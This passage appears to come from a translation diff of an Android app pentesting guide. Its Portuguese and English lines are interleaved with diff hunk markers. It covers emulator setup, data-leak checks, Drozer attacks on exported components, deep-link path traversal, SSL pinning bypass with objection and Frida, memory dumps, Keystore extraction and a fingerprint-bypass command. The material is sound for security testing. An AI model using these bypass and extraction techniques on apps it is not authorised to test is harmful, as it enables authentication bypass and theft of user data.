### Análise dinâmica Online
### Online Dynamic analysis
Você pode criar uma **conta gratuita** em: [https://appetize.io/](https://appetize.io/). Essa plataforma permite **upload** e **execução** de APKs, então é útil para ver como um apk está se comportando.
You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
Você pode até **ver os logs da sua aplicação** na web e conectar via **adb**.
You can even **see the logs of your application** in the web and connect through **adb**.
![](<../../images/image (831).png>)
Graças à conexão ADB você pode usar **Drozer** e **Frida** dentro dos emuladores.
Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
### Análise Dinâmica Local
### Local Dynamic Analysis
#### Usando um emulador
#### Using an emulator
- [**Android Studio**](https://developer.android.com/studio) (Você pode criar dispositivos **x86** e **arm**, e de acordo com [**isso**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**as versões x86 mais recentes** **suportam ARM libraries** sem precisar de um emulador arm lento).
- [**Android Studio**](https://developer.android.com/studio) (Você pode criar **x86** e **arm** devices, e de acordo com [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** sem precisar de um lento emulator arm).
- Aprenda a configurá-lo nesta página:
@ -260,127 +260,127 @@ Graças à conexão ADB você pode usar **Drozer** e **Frida** dentro dos emulad
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(versão gratuita:** Personal Edition, você precisa criar uma conta. _É recomendado **baixar** a versão **COM**_ _**VirtualBox** para evitar potenciais erros._)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versão gratuita:** Personal Edition, é necessário criar uma conta. _É recomendado **baixar** a versão **WITH** _**VirtualBox** para evitar erros potenciais._)
- [**Nox**](https://es.bignox.com) (Gratuito, mas não suporta Frida ou Drozer).
> [!TIP]
> Ao criar um novo emulador em qualquer plataforma lembre-se que quanto maior a tela, mais lento o emulador irá rodar. Então selecione telas pequenas se possível.
> Ao criar um novo emulator em qualquer plataforma lembre-se que quanto maior a tela, mais lento o emulator irá rodar. Então selecione telas pequenas se possível.
Para **instalar google services** (como AppStore) no Genymotion você precisa clicar no botão marcado em vermelho da imagem a seguir:
To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
![](<../../images/image (277).png>)
Além disso, note que na **configuração da VM Android no Genymotion** você pode selecionar **Bridge Network mode** (isso será útil se você for conectar na VM Android a partir de uma VM diferente com as ferramentas).
Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
#### Use um dispositivo físico
#### Use a physical device
Você precisa ativar as opções de **debugging** e será interessante se você puder **rootear** ele:
Você precisa ativar as opções de **debugging** e é recomendável que você possa **root** o dispositivo:
1. **Settings**.
2. (FromAndroid 8.0) Selecione **System**.
3. Selecione **About phone**.
4. Pressione **Build number** 7 vezes.
5. Volte e você encontrará as **Developer options**.
1. **Configurações**.
2. (A partir do Android 8.0) Selecione **Sistema**.
3. Selecione **Sobre o telefone**.
4. Pressione **Número da versão** 7 vezes.
5. Volte e você encontrará as **Opções do desenvolvedor**.
> Uma vez que você instalou a aplicação, a primeira coisa que deveria fazer é testá-la e investigar o que ela faz, como funciona e ficar confortável com ela.\
> Sugiro **realizar essa análise dinâmica inicial usando MobSF dynamic analysis + pidcat**, assim seremos capazes de **aprender como a aplicação funciona** enquanto o MobSF **captura** muitos dados **interessantes** que você pode revisar mais tarde.
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
### Vazamento de Dados Não Intencionais
### Unintended Data Leakage
**Logging**
Desenvolvedores devem ter cuidado ao expor **informações de debugging** publicamente, pois isso pode levar a vazamento de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar os logs da aplicação para identificar e proteger informação sensível. **Pidcat** é preferido por sua facilidade de uso e legibilidade.
Desenvolvedores devem ter cautela ao expor **informações de debugging** publicamente, pois isso pode levar a leak de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar os logs da aplicação para identificar e proteger informações sensíveis. **Pidcat** é preferida por sua facilidade de uso e legibilidade.
> [!WARNING]
> Note que a partir de **versões posteriores ao Android 4.0**, **aplicações só podem acessar seus próprios logs**. Portanto aplicações não podem acessar logs de outros apps.\
> De qualquer forma, ainda é recomendado **não logar informações sensíveis**.
> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
> Anyway, it's still recommended to **not log sensitive information**.
**Cache do Clipboard / Copy-Paste**
**Copy/Paste Buffer Caching**
O framework baseado em **clipboard** do Android habilita a funcionalidade de copy-paste em apps, mas representa um risco já que **outras aplicações** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desabilitar funções de copy/paste** em seções sensíveis de uma aplicação, como detalhes de cartão de crédito, para evitar vazamentos de dados.
O framework do Android baseado em **clipboard** habilita a funcionalidade de copiar/colar em apps, mas apresenta risco pois **outras aplicações** podem **acessar** a clipboard, potencialmente expondo dados sensíveis. É crucial **desabilitar** as funções de copy/paste para seções sensíveis de uma aplicação, como dados de cartão de crédito, para prevenir leaks de dados.
**Crash Logs**
Se uma aplicação **crasha** e **salva logs**, esses logs podem auxiliar atacantes, particularmente quando a aplicação não pode ser reverse-engineered. Para mitigar esse risco, evite logar em crashes, e se os logs devem ser transmitidos pela rede, assegure que sejam enviados via canal SSL para segurança.
Se uma aplicação **crasha** e **salva logs**, esses logs podem auxiliar atacantes, particularmente quando a aplicação não pode ser reverse-engineered. Para mitigar esse risco, evite logar em crashes, e se os logs precisarem ser transmitidos na rede, garanta que sejam enviados via um canal SSL para segurança.
Como pentester, **tente dar uma olhada nesses logs**.
**Dados de Analytics enviados para 3rd Parties**
**Analytics Data Sent To 3rd Parties**
Aplicações frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido a implementação incorreta pelos desenvolvedores. Para identificar potenciais vazamentos, é aconselhável **interceptar o tráfego da aplicação** e checar por qualquer informação sensível sendo enviada para serviços de terceiros.
Aplicações frequentemente integram serviços como Google Adsense, que podem inadvertidamente causar leak de dados sensíveis devido a implementação imprópria pelos desenvolvedores. Para identificar potenciais leaks de dados, é recomendável **interceptar o tráfego da aplicação** e checar por qualquer informação sensível sendo enviada para serviços de terceiros.
### SQLite DBs
A maioria das aplicações irá usar **internal SQLite databases** para salvar informação. Durante o pentest dê uma **olhada** nas **databases** criadas, os nomes das **tables** e **columns** e todos os **dados** salvos porque você pode encontrar **informação sensível** (o que seria uma vulnerabilidade).\
As databases devem estar localizadas em `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`
A maioria das aplicações usa **bancos SQLite internos** para salvar informações. Durante o pentest dê uma **olhada** nos **databases** criados, nos nomes das **tabelas** e **colunas** e em todos os **dados** salvos pois você pode encontrar **informações sensíveis** (o que seria uma vulnerabilidade).\
Databases devem estar localizados em `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`
Se a database está salvando informação confidencial e está **encrypted** mas você pode **find** a **password** dentro da application, isso ainda é uma **vulnerabilidade**.
Se o banco de dados está salvando informações confidenciais e está **criptografado**, mas você consegue encontrar a **senha** dentro da aplicação, isso ainda é uma **vulnerabilidade**.
Enumere as tables usando `.tables` e enumere as columns das tables fazendo `.schema <table_name>`
Enumere as tabelas usando `.tables` e enumere as colunas das tabelas com `.schema <table_name>`
### Drozer (Exploit Activities, Content Providers and Services)
Dos [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** permite que você **assuma o papel de um app Android** e interaja com outros apps. Ele pode fazer **qualquer coisa que uma aplicação instalada pode fazer**, como usar o mecanismo de Inter-Process Communication (IPC) do Android e interagir com o sistema operacional subjacente. .\
Drozer é uma ferramenta útil para **explorar exported activities, exported services e Content Providers** como você irá aprender nas seções seguintes.
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
### Explorando Activities exportadas
### Exploiting exported Activities
[**Leia isto se você quiser revisar o que é uma Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Lembre também que o código de uma activity começa no método **`onCreate`**.
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Also remember that the code of an activity starts in the **`onCreate`** method.
**Bypass de autorização**
**Authorisation bypass**
Quando uma Activity está exported você pode invocar sua tela a partir de um app externo. Assim, se uma activity com **informação sensível** está **exported** você poderia **bypassar** os mecanismos de **authentication** **para acessá-la.**
When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
[**Aprenda como explorar exported activities com Drozer.**](drozer-tutorial/index.html#activities)
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
Você também pode iniciar uma exported activity a partir do adb:
You can also start an exported activity from adb:
- PackageName is com.example.demo
- Exported ActivityName is com.example.test.MainActivity
- PackageName é com.example.demo
- Exported ActivityName é com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**NOTA**: MobSF detectará como malicioso o uso de _**singleTask/singleInstance**_ como `android:launchMode` em uma activity, mas devido a [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente isso é perigoso apenas em versões antigas (API < 21).
**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
> [!TIP]
> Observe que um authorisation bypass nem sempre é uma vulnerabilidade; depende de como o bypass funciona e quais informações são expostas.
> Note that an authorisation bypass is not always a vulnerability, it would depend on how the bypass works and which information is exposed.
**Vazamento de informações sensíveis**
**Activities também podem retornar resultados**. Se você conseguir encontrar uma activity exportada e desprotegida que chama o método **`setResult`** e **retorna informações sensíveis**, há um vazamento de informações sensíveis.
Activities can also return results. If you manage to find an exported and unprotected activity calling the **`setResult`** method and **returning sensitive information**, there is a sensitive information leakage.
#### Tapjacking
Se o Tapjacking não for prevenido, você pode abusar da activity exportada para fazer o **usuário executar ações inesperadas**. Para mais informações sobre [**o que é Tapjacking siga o link**](#tapjacking).
If tapjacking isn't prevented, you could abuse the exported activity to make the **user perform unexpected actions**. For more info about [**what is Tapjacking follow the link**](#tapjacking).
### Exploiting Content Providers - Accessing and manipulating sensitive information
### Exploiting Content Providers - Acessando e manipulando informações sensíveis
[**Leia isto se quiser relembrar o que é um Content Provider.**](android-applications-basics.md#content-provider)\
Content providers são basicamente usados para **compartilhar dados**. Se um app disponibiliza content providers você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **SQL injections** e **Path Traversals**, pois eles podem ser vulneráveis.
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable.
[**Aprenda como explorar Content Providers com Drozer.**](drozer-tutorial/index.html#content-providers)
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
### **Exploiting Services**
[**Leia isto se quiser relembrar o que é um Service.**](android-applications-basics.md#services)\
Lembre-se que as ações de um Service começam no método `onStartCommand`.
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
Remember that a the actions of a Service start in the method `onStartCommand`.
Um Service é basicamente algo que **pode receber dados**, **processá-los** e **retornar** (ou não) uma resposta. Então, se uma aplicação está exportando alguns services você deve **verificar** o **código** para entender o que ele faz e **testá-lo** **dinamicamente** para extrair informações confidenciais, contornar medidas de autenticação...\
[**Aprenda como explorar Services com Drozer.**](drozer-tutorial/index.html#services)
As service is basically something that **can receive data**, **process** it and **returns** (or not) a response. Then, if an application is exporting some services you should **check** the **code** to understand what is it doing and **test** it **dynamically** for extracting confidential info, bypassing authentication measures...\
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
[**Leia isto se quiser relembrar o que é um Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Lembre-se que as ações de um Broadcast Receiver começam no método `onReceive`.
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Remember that a the actions of a Broadcast Receiver start in the method `onReceive`.
Um Broadcast Receiver ficará esperando por um tipo de mensagem. Dependendo de como o receiver lida com a mensagem, ele pode ser vulnerável.\
[**Aprenda como explorar Broadcast Receivers com Drozer.**](#exploiting-broadcast-receivers)
A broadcast receiver will be waiting for a type of message. Depending on how the receiver handles the message it could be vulnerable.\
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
Você pode procurar por deep links manualmente, usando ferramentas como MobSF ou scripts como [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Você pode **abrir** um **scheme** declarado usando **adb** ou um **browser**:
You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
You can **open** a declared **scheme** using **adb** or a **browser**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
@ -393,32 +393,32 @@ _Observe que você pode **omitir o nome do pacote** e o dispositivo móvel chama
```
**Código executado**
Para encontrar o **código que será executado no App**, vá para a activity chamada pelo deeplink e procure a função **`onNewIntent`**.
Para encontrar o **código que will be executed in the App**, vá para a activity chamada pelo deeplink e procure a função **`onNewIntent`**.
![](<../../images/image (436) (1) (1) (1).png>)
**Informação sensível**
Sempre que encontrar um deep link verifique que **não está recebendo dados sensíveis (como senhas) via parâmetros de URL**, porque qualquer outra aplicação poderia **se passar pelo deep link e roubar esses dados!**
Cada vez que encontrar um deep link verifique que i**não está recebendo dados sensíveis (como senhas) via URL parameters**, porque qualquer outra aplicação poderia **se passar pelo deep link e roubar esses dados!**
**Parameters in path**
**Parâmetros no path**
Você **deve também verificar se algum deep link está usando um parâmetro dentro do path** da URL como: `https://api.example.com/v1/users/{username}`, nesse caso você pode forçar um path traversal acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Note que se você encontrar os endpoints corretos dentro da aplicação pode ser possível causar um **Open Redirect** (se parte do path for usada como domain name), **account takeover** (se você conseguir modificar detalhes de usuários sem CSRF token e o vuln endpoint usar o método correto) e qualquer outra vuln. Mais [info about this here](http://dphoeniixx.com/2020/12/13-2/).
Você **deve também verificar se algum deep link está usando um parâmetro dentro do path** da URL como: `https://api.example.com/v1/users/{username}` , nesse caso você pode forçar um path traversal acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Note que se você encontrar os endpoints corretos dentro da aplicação pode ser capaz de causar um **Open Redirect** (se parte do path for usada como domain name), **account takeover** (se você conseguir modificar users details sem CSRF token e o vuln endpoint usar o método correto) e qualquer outra vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
**More examples**
Um [interesting bug bounty report](https://hackerone.com/reports/855618) sobre links (_/.well-known/assetlinks.json_).
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
### Inspeção da Camada de Transporte e Falhas de Verificação
- **Certificates are not always inspected properly** por aplicações Android. É comum que essas aplicações ignorem avisos e aceitem certificados self-signed ou, em alguns casos, retornem a usar conexões HTTP.
- **Negotiations during the SSL/TLS handshake are sometimes weak**, empregando cipher suites inseguros. Essa vulnerabilidade torna a conexão suscetível a ataques man-in-the-middle (MITM), permitindo que atacantes decifrem os dados.
- **Leakage of private information** é um risco quando aplicações se autenticam usando canais seguros mas depois se comunicam por canais não seguros para outras transações. Essa abordagem não protege dados sensíveis, como session cookies ou detalhes do usuário, da interceptação por entidades maliciosas.
- **Certificates are not always inspected properly** por aplicações Android. É comum que essas aplicações ignorem avisos e aceitem self-signed certificates ou, em alguns casos, regressem para conexões HTTP.
- **Negotiations during the SSL/TLS handshake are sometimes weak**, empregando cipher suites inseguros. Essa vulnerabilidade torna a conexão suscetível a ataques man-in-the-middle (MITM), permitindo que atacantes decodifiquem os dados.
- **Leakage of private information** é um risco quando aplicações autenticam usando canais seguros, mas então comunicam por canais não seguros para outras transações. Essa abordagem não protege dados sensíveis, como session cookies ou detalhes do usuário, contra interceptação por entidades maliciosas.
#### Verificação de Certificado
#### Verificação de Certificados
Vamos focar na **verificação de certificados**. A integridade do certificado do servidor deve ser verificada para aumentar a segurança. Isso é crucial porque configurações TLS inseguras e a transmissão de dados sensíveis por canais não encriptados podem representar riscos significativos. Para passos detalhados sobre verificar certificados do servidor e corrigir vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) fornece orientação abrangente.
Vamos focar em **verificação de certificados**. A integridade do certificado do servidor deve ser verificada para aumentar a segurança. Isso é crucial porque configurações TLS inseguras e a transmissão de dados sensíveis por canais não encriptados podem representar riscos significativos. Para passos detalhados sobre como verificar certificados de servidor e mitigar vulnerabilidades, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) fornece orientação abrangente.
#### SSL Pinning
@ -426,22 +426,22 @@ SSL Pinning é uma medida de segurança onde a aplicação verifica o certificad
#### Inspeção de Tráfego
Para inspecionar tráfego HTTP, é necessário **instalar o certificado da ferramenta proxy** (por exemplo, Burp). Sem instalar esse certificado, o tráfego encriptado pode não ser visível através do proxy. Para um guia sobre instalar um certificado CA customizado, [**clique aqui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Para inspecionar tráfego HTTP, é necessário **instalar o certificado da ferramenta proxy** (e.g., Burp). Sem instalar esse certificado, o tráfego encriptado pode não ser visível através do proxy. Para um guia sobre como instalar um certificado CA customizado, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Aplicações direcionadas a **API Level 24 and above** requerem modificações no Network Security Config para aceitar o certificado CA do proxy. Esse passo é crítico para inspecionar tráfego encriptado. Para instruções sobre como modificar o Network Security Config, [**consulte este tutorial**](make-apk-accept-ca-certificate.md).
Aplicações direcionadas para **API Level 24 and above** requerem modificações no Network Security Config para aceitar o certificado CA do proxy. Esta etapa é crítica para inspecionar tráfego encriptado. Para instruções sobre modificar o Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
Se **Flutter** estiver sendo usado, você precisa seguir as instruções em [**esta página**](flutter.md). Isso é porque apenas adicionar o certificado ao store não funcionará, já que Flutter tem sua própria lista de CAs válidas.
Se **Flutter** estiver sendo usado, você precisa seguir as instruções em [**this page**](flutter.md). Isso porque apenas adicionar o certificado ao store não funcionará, já que Flutter possui sua própria lista de CAs válidas.
#### Detecção estática de SSL/TLS pinning
Antes de tentar bypasses em runtime, mapeie rapidamente onde o pinning é aplicado no APK. A descoberta estática ajuda a planejar hooks/patches e a focar nos caminhos de código corretos.
Antes de tentar bypasses em runtime, mapeie rapidamente onde o pinning é aplicado no APK. A descoberta estática ajuda a planejar hooks/patches e a focar nos code paths corretos.
Tool: SSLPinDetect
- Utilitário open-source de análise estática que decompila o APK para Smali (via apktool) e escaneia por padrões regex curados de implementações de SSL/TLS pinning.
- Reporta o caminho de arquivo exato, número da linha e um trecho de código para cada correspondência.
- Cobre frameworks comuns e caminhos de código customizados: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init com TrustManagers/KeyManagers customizados, e pins em Network Security Config XML.
- Utilitário de análise estática open-source que decompila o APK para Smali (via apktool) e escaneia por padrões regex curados de implementações de SSL/TLS pinning.
- Reporta o caminho exato do arquivo, número da linha, e um snippet de código para cada correspondência.
- Cobre frameworks comuns e caminhos de código customizados: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
Install
Instalar
- Pré-requisitos: Python >= 3.8, Java on PATH, apktool
```bash
git clone https://github.com/aancw/SSLPinDetect
@ -457,7 +457,7 @@ python sslpindetect.py -f app.apk -a apktool.jar
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
```
Exemplo de regras de padrão (JSON)
Use ou estenda signatures para detectar estilos proprietários/personalizados de pinning. Você pode carregar seu próprio JSON e scan em escala.
Use ou estenda signatures para detectar estilos de pinning proprietários/personalizados. Você pode carregar seu próprio JSON e escanear em larga escala.
```json
{
"OkHttp Certificate Pinning": [
@ -471,15 +471,15 @@ Use ou estenda signatures para detectar estilos proprietários/personalizados de
]
}
```
Notas e dicas
- Escaneamento rápido em apps grandes via multithreading e I/O mapeada em memória; regex pré-compiladas reduzem overhead/falsos positivos.
- Coleção de padrões: https://github.com/aancw/smali-sslpin-patterns
- Alvos típicos de detecção para triagem a seguir:
- OkHttp: uso de CertificatePinner, setCertificatePinner, referências ao pacote okhttp3/okhttp
- TrustManagers personalizados: javax.net.ssl.X509TrustManager, sobrescritas de checkServerTrusted
- SSL contexts personalizados: SSLContext.getInstance + SSLContext.init com managers personalizados
- Pins declarativos em res/xml network security config e referências no manifest
- Use as localizações correspondentes para planejar Frida hooks, patches estáticos, ou revisões de configuração antes de testes dinâmicos.
Notes and tips
- Fast scanning on large apps via multi-threading and memory-mapped I/O; pre-compiled regex reduces overhead/false positives.
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
- Typical detection targets to triage next:
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
- Declarative pins in res/xml network security config and manifest references
- Use the matched locations to plan Frida hooks, static patches, or config reviews before dynamic testing.
@ -487,27 +487,27 @@ Notas e dicas
When SSL Pinning is implemented, bypassing it becomes necessary to inspect HTTPS traffic. Various methods are available for this purpose:
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A maior vantagem dessa opção é que você não precisará de root para contornar o SSLPinning, mas será necessário apagar o aplicativo e reinstalar a nova versão, e isso nem sempre funcionará.
- Automatically **modificar** o **apk** para **contornar** SSLPinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work.
- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below)
- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Procurando Vulnerabilidades Web Comuns
#### Looking for Common Web Vulnerabilities
É importante também procurar por vulnerabilidades web comuns dentro da aplicação. Informações detalhadas sobre identificação e mitigação dessas vulnerabilidades estão além do escopo deste resumo, mas são amplamente abordadas em outros lugares.
It's important to also search for common web vulnerabilities within the application. Detailed information on identifying and mitigating these vulnerabilities is beyond the scope of this summary but is extensively covered elsewhere.
### Frida
[Frida](https://www.frida.re) é um toolkit de instrumentação dinâmica para desenvolvedores, reverse-engineers, e pesquisadores de segurança.\
**Você pode acessar a aplicação em execução e hookar métodos em tempo de execução para alterar o comportamento, mudar valores, extrair valores, executar código diferente...**\
Se você quer pentest aplicações Android você precisa saber como usar Frida.
**You can access running application and hook methods on run time to change the behaviour, change values, extract values, run different code...**\
If you want to pentest Android applications you need to know how to use Frida.
- Aprenda a usar o Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Algumas "GUI" para ações com Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection é ótimo para automatizar o uso do Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Você pode encontrar alguns scripts Awesome para Frida aqui: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Tente contornar mecanismos anti-debugging / anti-frida carregando o Frida conforme indicado em [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
#### Anti-instrumentation & SSL pinning bypass workflow
@ -517,9 +517,9 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md
### **Dump Memory - Fridump**
Verifique se a aplicação está armazenando informações sensíveis na memória que não deveria, como senhas ou mnemônicos.
Check if the application is storing sensitive information inside the memory that it shouldn't be storing like passwords or mnemonics.
Usando [**Fridump3**](https://github.com/rootbsd/fridump3) você pode fazer dump da memória do app com:
Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -528,68 +528,68 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Isto irá fazer o dump da memória na pasta ./dump, e lá você pode grep com algo como:
Isso irá fazer o dump da memória na pasta ./dump, e lá você pode usar grep com algo como:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Dados sensíveis no Keystore**
No Android o Keystore é o melhor lugar para armazenar dados sensíveis, porém, com privilégios suficientes ainda é **possível acessá-lo**. Como as aplicações tendem a armazenar aqui **dados sensíveis em texto claro**, os pentests devem verificar isso com privilégios de root — alguém com acesso físico ao dispositivo poderia conseguir roubar esses dados.
No Android, o Keystore é o melhor lugar para armazenar dados sensíveis, porém, com privilégios suficientes ainda é **possível acessá-lo**. Como as aplicações tendem a armazenar aqui **dados sensíveis em texto claro**, os pentests devem verificar isso como usuário root ou alguém com acesso físico ao dispositivo poderia ser capaz de roubar esses dados.
Mesmo que um app armazene dados no Keystore, esses dados devem ser criptografados.
Mesmo que um app tenha armazenado dados no Keystore, os dados devem estar criptografados.
Para acessar os dados dentro do Keystore você pode usar este script Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
Para acessar os dados dentro do Keystore você pode usar este script do Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
Usando o seguinte script Frida, pode ser possível **bypass fingerprint authentication** que aplicações Android possam estar executando para **proteger certas áreas sensíveis:**
Usando o seguinte Frida script, pode ser possível **bypass fingerprint authentication** que aplicações Android realizem para **proteger certas áreas sensíveis:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **Imagens de Fundo**
Quando você coloca um aplicativo em segundo plano, o Android armazena um **snapshot da aplicação** para que, quando ele for restaurado para o primeiro plano, comece carregando a imagem antes do app, fazendo com que pareça que o aplicativo foi carregado mais rapidamente.
Quando você coloca um aplicativo em segundo plano, o Android armazena uma **captura (snapshot) da aplicação** para que, quando for trazido de volta ao primeiro plano, comece a carregar a imagem antes do app, dando a impressão de que o aplicativo carregou mais rápido.
No entanto, se esse snapshot contiver **informações sensíveis**, alguém com acesso ao snapshot pode **roubar essas informações** (observe que é necessário root para acessá-lo).
No entanto, se essa captura contiver **informação sensível**, alguém com acesso à captura pode **roubar essa informação** (observe que é preciso root para acessá-la).
Os snapshots geralmente são armazenados em: **`/data/system_ce/0/snapshots`**
As capturas geralmente são armazenadas em: **`/data/system_ce/0/snapshots`**
